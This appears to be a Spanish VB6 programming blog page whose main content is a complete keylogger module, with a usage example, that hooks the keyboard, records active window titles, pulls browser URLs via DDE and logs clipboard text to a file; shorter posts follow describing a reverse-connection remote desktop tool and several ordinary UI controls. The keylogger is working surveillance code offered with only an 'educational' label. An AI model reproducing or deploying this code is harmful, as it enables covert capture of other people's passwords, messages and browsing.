Este es un módulo .bas de un Keylogger, sirve para capturar las pulsaciones del teclado y almacenarlas en un fichero de texto plano, trae como adicional poder almacenar el título de la ventana activa, la URL en caso de que dicha ventana sea un navegador y el texto del portapapeles. Está hecho con fines educativos, los métodos empleados son Hook al teclado, Hook de la ventana activa, conversación DDE para las URL y Hook del portapapeles. Vale destacar que no utiliza ningún tipo de timer para cualquiera de estas operaciones, lo cual hace que sea más eficiente y consuma menos procesador.

Módulo:

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com.ar
'Fecha:   13-02-2010
'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long
Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
 
Private Const XCLASS_DATA               As Long = &H2000
Private Const XTYP_REQUEST              As Long = (&HB0 Or XCLASS_DATA)
 
Private Const CP_WINANSI                As Long = 1004
Private Const CF_TEXT                   As Long = 1
 
Private Const WM_SETTEXT                As Long = &HC
Private Const WM_GETTEXTLENGTH          As Long = &HE
Private Const WM_GETTEXT                As Long = &HD
 
Private Const RSH_REGISTER_TASKMAN      As Long = 3
Private Const HSHELL_WINDOWACTIVATED    As Long = 4
Private Const WH_KEYBOARD_LL            As Long = 13
Private Const SHELLHOOKMESSAGE          As String = "SHELLHOOK"
Private Const GWL_WNDPROC               As Long = -4
 
Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&
 
Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WM_DRAWCLIPBOARD          As Long = &H308
 
Private WM_SHELLHOOK                    As Long
Private hEdit                           As Long
Private hHook                           As Long
Private WinProc                         As Long
Private hFile                           As Integer
Private LastActiveWindow                As Long
 
Public Function StarKeyLogger(ByVal DestPath As String) As Boolean
 
    If hEdit Then Exit Function
 
    hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
 
    If hEdit <> 0 Then
        hFile = FreeFile
        Open DestPath For Append As #hFile
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
        RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
        SetClipboardViewer hEdit
        WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)
        StarKeyLogger = True
    End If
 
End Function
 
Public Function EndKeyLogger() As Boolean
    If hEdit <> 0 Then
        Call UnhookWindowsHookEx(hHook)
        Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc)
        If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit)
        DestroyWindow hEdit: hEdit = 0
        Close #hFile
        EndKeyLogger = True
    End If
End Function
 
Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error Resume Next
 
    Dim sRet As String
 
    WndProc = CallWindowProc(WinProc, hwnd, uMsg, wParam, lParam)
 
    Select Case uMsg
        Case WM_SHELLHOOK
 
            If wParam = HSHELL_WINDOWACTIVATED Then
                If lParam <> 0 And LastActiveWindow <> lParam Then
                    LastActiveWindow = lParam
 
                    If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)
 
                    Select Case ClassNameOf(lParam)
                        Case "MozillaUIWindowClass"
                            sRet = GetBrowserInfo("firefox")
                        Case "IEFrame"
                            sRet = GetBrowserInfo("iexplore")
                        Case "OpWindow"
                            sRet = GetBrowserInfo("opera")
                    End Select
 
                    If sRet <> "" Then
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf
                    Else
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf
                    End If
 
                End If
 
            End If
 
        Case WM_DRAWCLIPBOARD
 
            If IsClipboardFormatAvailable(vbCFText) <> 0 Then
 
                If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)
 
                SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _
                    & Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf
            End If
 
    End Select
 
End Function
 
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    On Error Resume Next
 
    Select Case wParam
 
        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If
 
        Case WM_SYSKEYDOWN
            If lParam = 162 Or lParam = 165 Or lParam = 50 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If
 
    End Select
 
End Function
 
Private Function GetBrowserInfo(ByVal sServer As String) As String
 
    Dim lpData  As Long, hData   As Long, sData  As String
    Dim hServer As Long, hTopic  As Long, hItem  As Long
    Dim hConv   As Long, idInst  As Long
 
 
    Const sTopic = "WWW_GetWindowInfo"
    Const sItem = "0xFFFFFFFF"
 
    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function
 
    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)
 
    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)
 
    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
 
        lpData = DdeAccessData(hData, 1024)
 
        If lpData Then
            sData = String(1024, Chr(0))
            CopyMemory ByVal sData, ByVal lpData, 1024
            GetBrowserInfo = Left$(sData, InStr(sData, Chr(0)) - 1)
        End If
 
        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If
 
    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst
 
End Function
 
Private Function GetWindowTextLength(ByVal hwnd As Long) As Long
    GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function
 
Private Function GetWindowText(ByVal hwnd As Long) As String
    Dim TextLen As Long
    TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
    GetWindowText = String(TextLen, Chr$(0))
    SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function
 
Private Sub SaveLog(ByVal sText As String)
    Print #hFile, sText
    SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub
 
 Private Function ClassNameOf(ByVal hwnd As Long) As String
    Dim sClassName As String, Ret As Long
    sClassName = Space(256)
    Ret = GetClassName(hwnd, sClassName, 256)
    If Ret Then ClassNameOf = Left$(sClassName, Ret)
 End Function
 
 

Ejemplo de uso:

	
Option Explicit
	 
Private Sub Form_Load()
	'Inicializamos el KeyLogger
	StarKeyLogger (App.Path & "\Log.txt")
End Sub
	 
Private Sub Form_Unload(Cancel As Integer)
	'Detenemos el KeyLogger
	Call EndKeyLogger
End Sub
	 

Este Proyecto comenzó en Febrero del 2007 en resultado a este hilo  donde conocí a Cobein y decidimos intentar crear un Escritorio Remoto, si bien hubo buenos avances, el proyecto quedó parado, y bueno me decidí a terminarlo. Aunque esté muy lejos de la velocidad del VNC o TeamViewer, creo que los esfuerzos son redituables.
Para los que no saben de qué se trata, les explico, son dos aplicaciones que se conectan vía IP y puede manipularse la pantalla de una PC remotamente, por ejemplo si un cliente en china y se conecta a tu PC, tú puedes manejar a ésta como si estuvieras parado en frente a ella.

Que opciones tiene?:

• Transmitir la captura de la pantalla.
• Transmitir el icono del cursor.
• Mover el mouse y hacer click.
• Escribir remotamente.
• Enviar y recibir el texto del portapapeles.
• Seleccionar la calidad de las capturas (mientras más baja, mayor velocidad de transmisión).
• Opción de ver en pantalla completa o en modo ajustado a la ventana.
  

Fallos encontrados:

• No se pueden hacer combinaciones de teclas, es decir, no se puede utilizar Ctrl + V (tendría que cambiar el método utilizado).
• No pude testarlo bien ya que no cuento con otra PC para realizar todas las pruebas necesarias y tuve que arreglarme con la PC Virtual, así que quizás remotamente empiecen a saltar algunos que otros errores o cuelgues de transmisión.

Cosas a destacar:

• La conexión es Inversa, pero poniendo algo de mano en el código puede revertirse.
• Utiliza GDI+ esto significa que sólo funcionará desde Windows XP en adelante.
• No envía la captura de la pantalla completa, sino sólo los fragmentos modificados.
• El código creo que está medianamente prolijo y entendible, si se tiene los conocimientos necesarios.
  

Este es un módulo con una función para poder insertar imágenes de todo tipo en un ImageList de los Microsoft Common Controls, tanto para la versión 5.0 o 6.0.
El módulo sólo tiene la función para leer desde archivos, faltaría agregarle la opción para leer desde recursos, si a alguien le interesa pueden comunicarlo.
Para la versión 6.0, a quienes no le funcione, les recomiendo descargarse la última actualización aquí.

Control de Usuario para autocompletar un TextBox (o ventana "Edit"), a medida que vamos escribiendo en ella se carga una lista con todas las sugerencias, por ejemplo en una base de datos tenemos un listado de usuarios y tenemos que escribir en un TextBox un usuario, entonces al tipear "J" nos mostrará una lista que aparecerá debajo de la caja de texto con todos los usuarios que comiencen con dicha letra.
No sólo funciona con TextBox sino con toda ventana que utiliza la clase "Edit" dentro de ella.
Tiene tres formas de autocompletado "Append" autocompleta con la primer coincidencia, "Suggest" despliega una lista con todas las coincidencias encontradas y "AppendSuggest" las dos primeras juntas.
Traté de simular la lista tal como la que utiliza Windows con el api SHAutoComplete de la dll shlwapi.dll.

Control de Usuario de que utiliza la clase SysMonthCal32 para crear un Calendario tal como que utiliza el Microsoft Windows Common Controls OCX de la versión 26.0, lo bueno de utilizar este UserControl es no tener que depender del OCX que muchas veces nos encontramos con que queremos utilizar este control y tenemos que recurrir si o si al OCX por sólo un control. Además este trae como ventaja que sí se le pueden aplicar los estilos visuales de Windows ya que con el OCX siempre mostraba el aspecto de Windows 98.
Las propiedades son prácticamente iguales al del M$ Common Controls excepto la de poder poner los días en negritas, no pude encontrar la forma de que funcione, también me trajo algunos problemas de compatibilidad en XP y en Vista. ya que al parecer la clase de por si tiene sus propias fallas.